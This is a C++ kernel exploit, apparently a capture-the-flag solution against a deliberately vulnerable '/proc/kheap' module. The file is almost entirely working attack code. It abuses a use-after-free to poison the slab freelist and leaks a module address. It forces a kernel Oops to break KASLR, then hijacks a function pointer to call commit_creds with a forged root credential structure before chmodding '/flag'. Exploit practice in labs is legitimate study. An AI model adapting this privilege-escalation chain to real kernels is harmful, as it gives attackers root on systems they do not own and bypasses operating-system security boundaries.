#include <cstdio>
#include <cstring>
#include <cstdint>
#include <cstdlib>
#include <ctime>
#include <vector>

#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>

#define CMD_COPY_TO_USER 0x5700
#define CMD_COPY_FROM_USER 0x5701
#define CMD_EXE_FUNC_PTR 0x5702
#define CMD_FREE_CHUNK 0x5703

// Unrandomized
// nm -a /challenge/vmlinux | grep symbol_name
const uint64_t kernel_base    = 0xffffffff81000000ull; // _text
const uint64_t commit_creds   = 0xffffffff810b8bb0ull; // commit_creds
const uint64_t root_user      = 0xffffffff82a51560ull; // root_user
const uint64_t init_user_ns		= 0xffffffff82a51600ull; // init_user_ns
const uint64_t init_ucounts		= 0xffffffff82a53800ull; // init_ucounts
const uint64_t init_groups		= 0xffffffff82a52fd8ull; // init_groups
const uint64_t init_cred      = 0xffffffff82a52f20ull; // init_cred
const uint64_t _printk_rb_static_infos = 0xffffffff82a58c20ull; // _printk_rb_static_infos
// nm -a /challenge/challenge3.ko | grep symbol_name
const uint64_t do_print       = 0x10ull;               // do_print
// Randomized
uint64_t kernel_ASLR_offset = 0;
uint64_t _printk_rb_static_infos_randomized = 0;
uint64_t kernel_base_randomized = 0;
uint64_t commit_creds_randomized = 0;

struct cred {
  uint64_t usage;
  uint32_t uid;
  uint32_t gid;
  uint32_t suid;
  uint32_t sgid;
  uint32_t euid;
  uint32_t egid;
  uint32_t fsuid;
  uint32_t fsgid;
  unsigned int securebits;
  uint64_t cap_inheritable;
  uint64_t cap_permitted;
  uint64_t cap_effective;
  uint64_t cap_bset;
  uint64_t cap_ambient;
  unsigned char jit_keyring;
  void *session_keyring;
  void *process_keyring;
  void *thread_keyring;
  void *request_key_auth;
  void *security;
  void *user;
  void *user_ns;
  void *ucounts;
  void *group_info;
  union {
    int non_rcu;
    struct {
      void *next;
      void (*func)(void *head);
    } rcu __attribute__((aligned(sizeof(void *))));
  };
};

char buf[0x1000];
struct kheap_req_t {
  void * ubuf;
  size_t size;
} req = {buf, 0};


int new_fd() {
  return open("/proc/kheap", O_RDWR);
}

// Refer to 
// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
void do_fake_cred(struct cred *fake_cred, void* security) {
  memset(fake_cred, 0, sizeof(struct cred));
  // placement new
  new (fake_cred) cred {
    .usage			= 1,
    .uid			= 0,
    .gid			= 0,
    .suid			= 0,
    .sgid			= 0,
    .euid			= 0,
    .egid			= 0,
    .fsuid			= 0,
    .fsgid			= 0,
    .securebits		= 0,
    .cap_inheritable	= 0,
    .cap_permitted		= 0xFFFFFFFFFFFFFFFF,
    .cap_effective		= 0xFFFFFFFFFFFFFFFF,
    .cap_bset		= 0xFFFFFFFFFFFFFFFF,
    // nm -a /challenge/vmlinux | grep symbol_name
    .security = security,
    .user			= (void*)(kernel_ASLR_offset + root_user),
    .user_ns		= (void*)(kernel_ASLR_offset + init_user_ns),
    .ucounts		= (void*)(kernel_ASLR_offset + init_ucounts),
    .group_info		= (void*)(kernel_ASLR_offset + init_groups),
  };
}

const int max_buffer_size = 0x1D0;
const int freelist_ptr_offset_to_buf = 0xE0;
const int fake_chunk_offset = 0x10;
const int buf_to_chunk_start_offset = 0x8;
const int module_data_offset = 0x2000;
const int struct_module_offset_to_data = 0xC0;

int main() {
  req.size = max_buffer_size;

  int fd1 = new_fd();
  // Free chunk of `fd1`
  ioctl(fd1, CMD_FREE_CHUNK, &req);
  // Freelist: fd1 -> fd2 -> fd3 -> ...
  // Use after Free chunk of `fd1`
  ioctl(fd1, CMD_COPY_TO_USER, &req);
  // Read `ptr` of freed chunk of `fd1` -- `fd2`
  uint64_t fd2_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
  printf("fd2_ptr: %p\n", fd2_ptr);
  // Regain the same chunk of `fd1` -- `fd1_dup` to get chunk of `fd2` in next steps
  int fd1_dup = new_fd();
  int fd2 = new_fd();
  // Free chunk of `fd2`
  ioctl(fd2, CMD_FREE_CHUNK, &req);
  // Freelist: fd2 -> fd3 -> ...
  // Read `ptr` of freed chunk of `fd2` -- `fd3`
  ioctl(fd2, CMD_COPY_TO_USER, &req);
  uint64_t fd3_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
  printf("fd3_ptr: %p\n", fd3_ptr);
  // Set `ptr` to `fd2` + fake_chunk_offset
  *(uint64_t *)&buf[freelist_ptr_offset_to_buf] = fd2_ptr + fake_chunk_offset;
  ioctl(fd2, CMD_COPY_FROM_USER, &req);
  // Freelist: fd2 -> fd2 + fake_chunk_offset -> 0
  // Regain the same chunk of `fd2` -- `fd2_dup` to get chunk of `fd2` + fake_chunk_offset in next steps
  int fd2_dup = new_fd();
  // Set `ptr` of faked `fd2` + fake_chunk_offset to `fd3` to recover the corrupted state of freelist
  *(uint64_t *)&buf[freelist_ptr_offset_to_buf + fake_chunk_offset] = fd3_ptr;
  ioctl(fd2, CMD_COPY_FROM_USER, &req);
  // Freelist: fd2 + fake_chunk_offset -> fd3 -> ...
  int fd2_fake = new_fd();
  // Freelist: fd3 -> ...
  // Now, the offset between chunk of `fd2` and chunk of `fd2_fake` is `fake_chunk_offset`
  // Try to leak address of kernel module symbol `do_print`
  ioctl(fd2, CMD_COPY_TO_USER, &req);
  uint64_t do_print_ptr = *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset];
  printf("do_print_ptr: %p\n", do_print_ptr);
  uint64_t kernel_module_base = do_print_ptr - do_print;
  printf("kernel_module_base: %p\n", kernel_module_base);
  // set the func ptr to an invalid value
  *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = 0x4142434445464748ull;
  ioctl(fd2, CMD_COPY_FROM_USER, &req);
  
  // Fork a child process to trigger an Oops to leak kernel base.
  // NOTE that both child and parent process keep reference to 
  // the file descriptors, so even if the child process crashed,
  // parent process still holds them so the freelist chain won't be
  // corrupted meanwhile reducing the exploit development complexity.
  int child_pid = fork();
  if (child_pid == -1) {
    perror("fork failed");
    exit(EXIT_FAILURE);
  }
  if (child_pid == 0) {
    // Child process
    printf("Child process triggering kernel Oops.\n");
    ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
    // Expected Oops there
    printf("Unreachable path!\n");
    exit(EXIT_FAILURE);
  }
  // Parent process
  wait(nullptr);
  printf("Parent process waiting finished.\n");
  // In kernel Oops message,
  // r10 is `_printk_rb_static_infos`
  // r11 is `_printk_rb_static_descs`
  printf("Please input r10 in hex form, e.g. ffffffffb4458c20:\n");
  scanf("%llx", &_printk_rb_static_infos_randomized);
  kernel_ASLR_offset = _printk_rb_static_infos_randomized - _printk_rb_static_infos;
  kernel_base_randomized = kernel_base + kernel_ASLR_offset;
  printf("kernel_base: %p\n", kernel_base_randomized);
  // Validate via `sudo cat /proc/kallsyms | grep " _text"`
  commit_creds_randomized = commit_creds + kernel_ASLR_offset;

  // set the func ptr to randomized `commit_creds`
  *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = commit_creds_randomized;
  ioctl(fd2, CMD_COPY_FROM_USER, &req);
  // fake a `struct cred` in `fd2_fake`
  struct cred fake_cred;
  uint64_t security_addr = fd2_ptr + fake_chunk_offset + 8 + sizeof(struct cred);
  do_fake_cred(&fake_cred, (void *)security_addr);
  memcpy(buf, &fake_cred, sizeof(struct cred));
  ioctl(fd2_fake, CMD_COPY_FROM_USER, &req);
  // execute function pointer in kernel space
  ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
  // try change the mode of flag
  chmod("/flag", 0777);

  return 0;
}

// Protection:
// - KASLR on.
// - SMAP, SMEP On.
// - CONFIG_SLAB_FREELIST_RANDOM=y
// - CONFIG_SLAB_FREELIST_HARDENED=n
// - CONFIG_RANDSTRUCT=n

// Debug:
// Use `sudo cat /proc/modules` to get kernel module base.
// gdb> add-symbol-file /challenge/challenge3.ko [ModuleBase]
// gdb> b kheap_open
// gdb> b kheap_ioctl
// An aligned slub slot is 0x200 bytes, original slub slot is 0x1D8 bytes.

// $ g++ exploit.cpp -o exploit -g